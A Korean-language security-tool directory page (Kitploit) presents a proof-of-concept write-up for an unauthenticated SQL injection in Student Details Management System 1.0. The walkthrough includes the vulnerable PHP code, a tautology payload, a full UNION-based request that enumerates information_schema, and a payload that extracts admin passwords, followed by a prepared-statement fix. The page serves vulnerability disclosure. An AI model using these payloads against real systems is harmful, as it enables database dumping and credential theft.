Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-10110-SQLi — Student Details Management System 1.0의 인증되지 않은 SQL 인젝션에 대한 개념 증명으로, UNION 기반 데이터 추출 및 자격 증명 탈취를 시연합니다. | Kitploit
도구/GitHubGitHub/xmyronn/cve-2026-10110-sqli
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubxmyronn/cve-2026-10110-sqli

CVE-2026-10110-SQLi

Student Details Management System 1.0의 인증되지 않은 SQL 인젝션에 대한 개념 증명으로, UNION 기반 데이터 추출 및 자격 증명 탈취를 시연합니다.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

학생 정보 관리 시스템 1.0 - SQL 인젝션 (비인증)

취약점 정보

필드세부 정보
제품Student Details Management System
공급업체code-projects.org
버전1.0
취약점 유형SQL 인젝션 (CWE-89)
CVE ID대기 중
CVSS 점수9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
인증 필요 여부아니요
영향받는 파일/SMS/index.php
취약한 매개변수roll (POST)

설명

Student Details Management System 1.0의 index.php 파일에 심각한 SQL 인젝션 취약점이 존재합니다. POST 요청을 통해 전달되는 roll 매개변수는 어떠한 살균 처리, 입력 검증 또는 준비된 문(Prepared Statement) 사용 없이 원시 SQL 쿼리에 직접 연결됩니다. 이를 통해 인증되지 않은 원격 공격자가 임의의 SQL을 주입하고 UNION 기반 데이터 추출을 수행하여 자격 증명 테이블을 포함한 전체 데이터베이스 서버를 덤프할 수 있습니다.

이 취약점은 공개된 학생 검색 양식에 존재하며 인증이 전혀 필요하지 않습니다.


취약한 코드

파일: index.php (51~59행)

root@kitploit:~
include('dbcon.php');
if (isset($_POST['show'])) {

    $Standard = $_POST['standard'];
    $RollNo = $_POST['roll'];

    $sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";

    $result = mysqli_query($conn,$sql);

$Standard와 $RollNo 모두 이스케이프 처리나 매개변수화 없이 $_POST에서 직접 가져옵니다. 공격자는 roll 매개변수를 제어하여 SQL 문자열 컨텍스트를 벗어나 임의의 쿼리를 주입할 수 있습니다.


개념 증명

1단계 — 정상 동작 확인

애플리케이션 홈페이지로 이동하여 유효한 학번을 입력합니다:

root@kitploit:~
http://<TARGET>/SMS/index.php

학번 필드에 1001을 입력 → 애플리케이션이 학생 기록을 정상적으로 반환합니다.

Screenshot 2026-05-03 220510

2단계 — SQL 오류 트리거 (인젝션 지점 확인)

학번 필드에 작은따옴표 '를 입력하고 SHOW INFO를 클릭합니다.

결과: MariaDB가 원시 SQL 쿼리와 파일 경로를 노출하는 치명적인 오류를 발생시킵니다:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '"' at line 1 in 
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Screenshot 2026-05-03 220533

3단계 — 인증 우회 / 전체 테이블 덤프

페이로드:

root@kitploit:~
' or 1=1 -- -

결과: 유효한 학번 없이도 데이터베이스의 모든 학생 기록이 반환되어 인젝션이 악용 가능함을 확인합니다.

Screenshot 2026-05-03 220550

4단계 — UNION 기반 추출 (전체 데이터베이스 열거)

Burp Suite 요청:

root@kitploit:~
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded

roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO

결과: name 열(UNION의 3번째 위치)이 MySQL 인스턴스의 모든 데이터베이스에 걸쳐 모든 테이블 이름을 반영합니다 — 동일한 XAMPP 인스턴스에 설치된 여러 다른 애플리케이션의 admin, global_priv, users, mysql.user 및 자격 증명 테이블을 포함합니다.

Screenshot 2026-05-03 220606

5단계 — 권한 상승 경로

덤프 결과 동일한 서버의 다른 데이터베이스에서 admin, users, global_priv, tbl_admin을 포함한 민감한 테이블이 드러납니다. 공격자는 다음을 통해 자격 증명을 추출할 수 있습니다:

root@kitploit:~
roll=1' union select null,null,password,null,null,null,null from admin-- -

상세 오류 출력(2단계)과 결합하여 전체 파일 경로 노출도 확인됩니다:

root@kitploit:~
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php

영향

  • 전체 데이터베이스 열거 — 대상 애플리케이션뿐만 아니라 서버의 모든 데이터베이스에 걸쳐 가능
  • 관리자 자격 증명 추출 — admin 테이블 덤프를 통해 가능
  • 전체 경로 노출 — 상세 SQL 오류 출력을 통해 가능
  • 인증 불필요 — 검색 페이지를 방문하는 모든 비인증 사용자가 악용 가능
  • 잠재적 권한 상승 — 동일한 MySQL 인스턴스를 공유하는 다른 애플리케이션으로 확장 가능

해결 방안

바인딩 매개변수가 있는 준비된 문(Prepared Statement)을 사용합니다:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();

또한 프로덕션 환경에서는 php.ini에서 display_errors = Off를 설정하여 상세 PHP/MySQL 오류 출력을 비활성화합니다.


참고 자료

  • 공급업체 홈페이지
  • CWE-89: SQL 인젝션
  • OWASP SQL 인젝션

발견자

연구원: Imad Alvi

도구 다운로드